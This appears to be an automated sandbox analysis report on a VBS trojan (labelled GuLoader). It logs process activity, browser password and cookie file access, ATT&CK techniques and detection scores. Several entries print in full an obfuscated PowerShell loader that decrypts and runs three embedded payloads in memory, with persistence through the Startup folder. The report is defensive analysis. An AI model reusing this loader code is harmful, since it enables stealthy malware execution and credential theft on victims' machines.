Code function: 17_2_00404C9D LoadLibraryA,GetProcAddress,

17_2_00404C9D

HIPS / PFW / Operating System Protection Evasion

Maps a DLL or memory area into another process

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: NULL target: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: NULL target: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: NULL target: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe protection: execute and read and write	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c C:\Users\user\AppData\Roaming\dropped.bat	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo cls;powershell -w hidden;function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::FromBase64String('QipeuvuPHLjqQvGt9VT5aLclluvrXEdJm/QUWEGzhvQ='); $aes_var.IV=[System.Convert]::FromBase64String('K8KFKefFC/hhz69/oY9Vnw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $cxhgH=New-Object System.IO.MemoryStream(,$param_var); $XWybH=New-Object System.IO.MemoryStream; $OXCUo=New-Object System.IO.Compression.GZipStream($cxhgH, [IO.Compression.CompressionMode]::Decompress); $OXCUo.CopyTo($XWybH); $OXCUo.Dispose(); $cxhgH.Dispose(); $XWybH.Dispose(); $XWybH.ToArray();}function execute_function($param_var,$param2_var){ $sMWNP=[System.Reflection.Assembly]::Load([byte[]]$param_var); $QqvvE=$sMWNP.EntryPoint; $QqvvE.Invoke($null, $param2_var);}$orZcJ = 'C:\Users\user\AppData\Roaming\dropped.bat';$host.UI.RawUI.WindowTitle = $orZcJ;$QZlmw=[System.IO.File]::ReadAllText($orZcJ).Split([Environment]::NewLine);foreach ($HiBel in $QZlmw) { if ($HiBel.StartsWith('gXFDerXikimqJOlowotV')) { $twZns=$HiBel.Substring(20); break; }}$payloads_var=[string[]]$twZns.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));$payload3_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[2].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var $null;execute_function $payload3_var (,[string[]] ('')); "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\user\AppData\Local\Temp\oaanp"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\user\AppData\Local\Temp\oaanp"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\user\AppData\Local\Temp\oaanp"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\user\AppData\Local\Temp\qungqkxv"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\user\AppData\Local\Temp\qungqkxv"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe /stext "C:\Users\user\AppData\Local\Temp\bxtzrdixjge"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo cls;powershell -w hidden;function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::FromBase64String('QipeuvuPHLjqQvGt9VT5aLclluvrXEdJm/QUWEGzhvQ='); $aes_var.IV=[System.Convert]::FromBase64String('K8KFKefFC/hhz69/oY9Vnw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $cxhgH=New-Object System.IO.MemoryStream(,$param_var); $XWybH=New-Object System.IO.MemoryStream; $OXCUo=New-Object System.IO.Compression.GZipStream($cxhgH, [IO.Compression.CompressionMode]::Decompress); $OXCUo.CopyTo($XWybH); $OXCUo.Dispose(); $cxhgH.Dispose(); $XWybH.Dispose(); $XWybH.ToArray();}function execute_function($param_var,$param2_var){ $sMWNP=[System.Reflection.Assembly]::Load([byte[]]$param_var); $QqvvE=$sMWNP.EntryPoint; $QqvvE.Invoke($null, $param2_var);}$orZcJ = 'C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SC.cmd';$host.UI.RawUI.WindowTitle = $orZcJ;$QZlmw=[System.IO.File]::ReadAllText($orZcJ).Split([Environment]::NewLine);foreach ($HiBel in $QZlmw) { if ($HiBel.StartsWith('gXFDerXikimqJOlowotV')) { $twZns=$HiBel.Substring(20); break; }}$payloads_var=[string[]]$twZns.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));$payload3_var=decompress_function (decrypt_function ([Convert]::FromBase64String($payloads_var[2].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var $null;execute_function $payload3_var (,[string[]] ('')); "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /s /d /c" echo cls;powershell -w hidden;function decrypt_function($param_var){ $aes_var=[system.security.cryptography.aes]::create(); $aes_var.mode=[system.security.cryptography.ciphermode]::cbc; $aes_var.padding=[system.security.cryptography.paddingmode]::pkcs7; $aes_var.key=[system.convert]::frombase64string('qipeuvuphljqqvgt9vt5alclluvrxedjm/quwegzhvq='); $aes_var.iv=[system.convert]::frombase64string('k8kfkeffc/hhz69/oy9vnw=='); $decryptor_var=$aes_var.createdecryptor(); $return_var=$decryptor_var.transformfinalblock($param_var, 0, $param_var.length); $decryptor_var.dispose(); $aes_var.dispose(); $return_var;}function decompress_function($param_var){ $cxhgh=new-object system.io.memorystream(,$param_var); $xwybh=new-object system.io.memorystream; $oxcuo=new-object system.io.compression.gzipstream($cxhgh, [io.compression.compressionmode]::decompress); $oxcuo.copyto($xwybh); $oxcuo.dispose(); $cxhgh.dispose(); $xwybh.dispose(); $xwybh.toarray();}function execute_function($param_var,$param2_var){ $smwnp=[system.reflection.assembly]::load([byte[]]$param_var); $qqvve=$smwnp.entrypoint; $qqvve.invoke($null, $param2_var);}$orzcj = 'c:\users\user\appdata\roaming\dropped.bat';$host.ui.rawui.windowtitle = $orzcj;$qzlmw=[system.io.file]::readalltext($orzcj).split([environment]::newline);foreach ($hibel in $qzlmw) { if ($hibel.startswith('gxfderxikimqjolowotv')) { $twzns=$hibel.substring(20); break; }}$payloads_var=[string[]]$twzns.split('\');$payload1_var=decompress_function (decrypt_function ([convert]::frombase64string($payloads_var[0].replace('#', '/').replace('@', 'a'))));$payload2_var=decompress_function (decrypt_function ([convert]::frombase64string($payloads_var[1].replace('#', '/').replace('@', 'a'))));$payload3_var=decompress_function (decrypt_function ([convert]::frombase64string($payloads_var[2].replace('#', '/').replace('@', 'a'))));execute_function $payload1_var $null;execute_function $payload2_var $null;execute_function $payload3_var (,[string[]] ('')); "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /s /d /c" echo cls;powershell -w hidden;function decrypt_function($param_var){ $aes_var=[system.security.cryptography.aes]::create(); $aes_var.mode=[system.security.cryptography.ciphermode]::cbc; $aes_var.padding=[system.security.cryptography.paddingmode]::pkcs7; $aes_var.key=[system.convert]::frombase64string('qipeuvuphljqqvgt9vt5alclluvrxedjm/quwegzhvq='); $aes_var.iv=[system.convert]::frombase64string('k8kfkeffc/hhz69/oy9vnw=='); $decryptor_var=$aes_var.createdecryptor(); $return_var=$decryptor_var.transformfinalblock($param_var, 0, $param_var.length); $decryptor_var.dispose(); $aes_var.dispose(); $return_var;}function decompress_function($param_var){ $cxhgh=new-object system.io.memorystream(,$param_var); $xwybh=new-object system.io.memorystream; $oxcuo=new-object system.io.compression.gzipstream($cxhgh, [io.compression.compressionmode]::decompress); $oxcuo.copyto($xwybh); $oxcuo.dispose(); $cxhgh.dispose(); $xwybh.dispose(); $xwybh.toarray();}function execute_function($param_var,$param2_var){ $smwnp=[system.reflection.assembly]::load([byte[]]$param_var); $qqvve=$smwnp.entrypoint; $qqvve.invoke($null, $param2_var);}$orzcj = 'c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\sc.cmd';$host.ui.rawui.windowtitle = $orzcj;$qzlmw=[system.io.file]::readalltext($orzcj).split([environment]::newline);foreach ($hibel in $qzlmw) { if ($hibel.startswith('gxfderxikimqjolowotv')) { $twzns=$hibel.substring(20); break; }}$payloads_var=[string[]]$twzns.split('\');$payload1_var=decompress_function (decrypt_function ([convert]::frombase64string($payloads_var[0].replace('#', '/').replace('@', 'a'))));$payload2_var=decompress_function (decrypt_function ([convert]::frombase64string($payloads_var[1].replace('#', '/').replace('@', 'a'))));$payload3_var=decompress_function (decrypt_function ([convert]::frombase64string($payloads_var[2].replace('#', '/').replace('@', 'a'))));execute_function $payload1_var $null;execute_function $payload2_var $null;execute_function $payload3_var (,[string[]] ('')); "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /s /d /c" echo cls;powershell -w hidden;function decrypt_function($param_var){ $aes_var=[system.security.cryptography.aes]::create(); $aes_var.mode=[system.security.cryptography.ciphermode]::cbc; $aes_var.padding=[system.security.cryptography.paddingmode]::pkcs7; $aes_var.key=[system.convert]::frombase64string('qipeuvuphljqqvgt9vt5alclluvrxedjm/quwegzhvq='); $aes_var.iv=[system.convert]::frombase64string('k8kfkeffc/hhz69/oy9vnw=='); $decryptor_var=$aes_var.createdecryptor(); $return_var=$decryptor_var.transformfinalblock($param_var, 0, $param_var.length); $decryptor_var.dispose(); $aes_var.dispose(); $return_var;}function decompress_function($param_var){ $cxhgh=new-object system.io.memorystream(,$param_var); $xwybh=new-object system.io.memorystream; $oxcuo=new-object system.io.compression.gzipstream($cxhgh, [io.compression.compressionmode]::decompress); $oxcuo.copyto($xwybh); $oxcuo.dispose(); $cxhgh.dispose(); $xwybh.dispose(); $xwybh.toarray();}function execute_function($param_var,$param2_var){ $smwnp=[system.reflection.assembly]::load([byte[]]$param_var); $qqvve=$smwnp.entrypoint; $qqvve.invoke($null, $param2_var);}$orzcj = 'c:\users\user\appdata\roaming\dropped.bat';$host.ui.rawui.windowtitle = $orzcj;$qzlmw=[system.io.file]::readalltext($orzcj).split([environment]::newline);foreach ($hibel in $qzlmw) { if ($hibel.startswith('gxfderxikimqjolowotv')) { $twzns=$hibel.substring(20); break; }}$payloads_var=[string[]]$twzns.split('\');$payload1_var=decompress_function (decrypt_function ([convert]::frombase64string($payloads_var[0].replace('#', '/').replace('@', 'a'))));$payload2_var=decompress_function (decrypt_function ([convert]::frombase64string($payloads_var[1].replace('#', '/').replace('@', 'a'))));$payload3_var=decompress_function (decrypt_function ([convert]::frombase64string($payloads_var[2].replace('#', '/').replace('@', 'a'))));execute_function $payload1_var $null;execute_function $payload2_var $null;execute_function $payload3_var (,[string[]] ('')); "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /s /d /c" echo cls;powershell -w hidden;function decrypt_function($param_var){ $aes_var=[system.security.cryptography.aes]::create(); $aes_var.mode=[system.security.cryptography.ciphermode]::cbc; $aes_var.padding=[system.security.cryptography.paddingmode]::pkcs7; $aes_var.key=[system.convert]::frombase64string('qipeuvuphljqqvgt9vt5alclluvrxedjm/quwegzhvq='); $aes_var.iv=[system.convert]::frombase64string('k8kfkeffc/hhz69/oy9vnw=='); $decryptor_var=$aes_var.createdecryptor(); $return_var=$decryptor_var.transformfinalblock($param_var, 0, $param_var.length); $decryptor_var.dispose(); $aes_var.dispose(); $return_var;}function decompress_function($param_var){ $cxhgh=new-object system.io.memorystream(,$param_var); $xwybh=new-object system.io.memorystream; $oxcuo=new-object system.io.compression.gzipstream($cxhgh, [io.compression.compressionmode]::decompress); $oxcuo.copyto($xwybh); $oxcuo.dispose(); $cxhgh.dispose(); $xwybh.dispose(); $xwybh.toarray();}function execute_function($param_var,$param2_var){ $smwnp=[system.reflection.assembly]::load([byte[]]$param_var); $qqvve=$smwnp.entrypoint; $qqvve.invoke($null, $param2_var);}$orzcj = 'c:\users\user\appdata\roaming\microsoft\windows\start menu\programs\startup\sc.cmd';$host.ui.rawui.windowtitle = $orzcj;$qzlmw=[system.io.file]::readalltext($orzcj).split([environment]::newline);foreach ($hibel in $qzlmw) { if ($hibel.startswith('gxfderxikimqjolowotv')) { $twzns=$hibel.substring(20); break; }}$payloads_var=[string[]]$twzns.split('\');$payload1_var=decompress_function (decrypt_function ([convert]::frombase64string($payloads_var[0].replace('#', '/').replace('@', 'a'))));$payload2_var=decompress_function (decrypt_function ([convert]::frombase64string($payloads_var[1].replace('#', '/').replace('@', 'a'))));$payload3_var=decompress_function (decrypt_function ([convert]::frombase64string($payloads_var[2].replace('#', '/').replace('@', 'a'))));execute_function $payload1_var $null;execute_function $payload2_var $null;execute_function $payload3_var (,[string[]] ('')); "	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 17_2_00407C79 memset,memset,memset,memset,GetComputerNameA,GetUserNameA,MultiByteToWideChar,MultiByteToWideChar,MultiByteToWideChar,strlen,strlen,memcpy,

17_2_00407C79

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 17_2_00406B06 GetVersionExA,

17_2_00406B06

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Yara detected WebBrowserPassView password recovery tool

Source: Yara match

File source: Process Memory Space: powershell.exe PID: 7072, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	322 Scripting	Valid Accounts	1 Native API	322 Scripting	1 DLL Side-Loading	2 Obfuscated Files or Information	1 OS Credential Dumping	1 Account Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 Access Token Manipulation	1 DLL Side-Loading	11 Input Capture	3 File and Directory Discovery	Remote Desktop Protocol	1 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	212 Command and Scripting Interpreter	2 Registry Run Keys / Startup Folder	111 Process Injection	1 Masquerading	Security Account Manager	14 System Information Discovery	SMB/Windows Admin Shares	11 Input Capture	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	2 Registry Run Keys / Startup Folder	21 Virtualization/Sandbox Evasion	NTDS	1 Security Software Discovery	Distributed Component Object Model	2 Clipboard Data	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Access Token Manipulation	LSA Secrets	2 Process Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	111 Process Injection	Cached Domain Credentials	21 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
PO#2195112.vbs	24%	ReversingLabs	Script-WScript.Trojan.GuLoader
PO#2195112.vbs	8%	Virustotal		Browse

Source	Detection	Scanner	Label	Link
geoplugin.net	1%	Virustotal		Browse
ab9001.ddns.net	1%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://geoplugin.net/json.gp	0%	URL Reputation	safe
https://aka.ms/pscore6lB	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
https://www.google.com	0%	Avira URL Cloud	safe
https://aefd.nelreports.net/api/report?cat=bingaot	0%	Avira URL Cloud	safe
https://M365CDN.nel.measure.office.net/api/report?FrontEnd=AkamaiCDNWorldWide&DestinationEndpoint=EL	0%	Avira URL Cloud	safe
http://www.imvu.comr	0%	Avira URL Cloud	safe
https://www.office.com/	0%	Avira URL Cloud	safe
https://www.google.com	0%	Virustotal		Browse
https://aefd.nelreports.net/api/report?cat=bingth	0%	Avira URL Cloud	safe
https://cxcs.microsoft.net/api/settings/en-GB/xml/settings-tipset?release=20h1&sku=Professional&plat	0%	Avira URL Cloud	safe
http://www.imvu.com	0%	Avira URL Cloud	safe
https://aefd.nelreports.net/api/report?cat=wsb	0%	Avira URL Cloud	safe
https://www.office.com/	0%	Virustotal		Browse
https://aefd.nelreports.net/api/report?cat=bingrms	0%	Avira URL Cloud	safe
https://aefd.nelreports.net/api/report?cat=bingaot	0%	Virustotal		Browse
https://M365CDN.nel.measure.office.net/api/report?FrontEnd=AkamaiCDNWorldWide&DestinationEndpoint=EL	0%	Virustotal		Browse
https://aefd.nelreports.net/api/report?cat=bingth	0%	Virustotal		Browse
http://www.imvu.com	0%	Virustotal		Browse
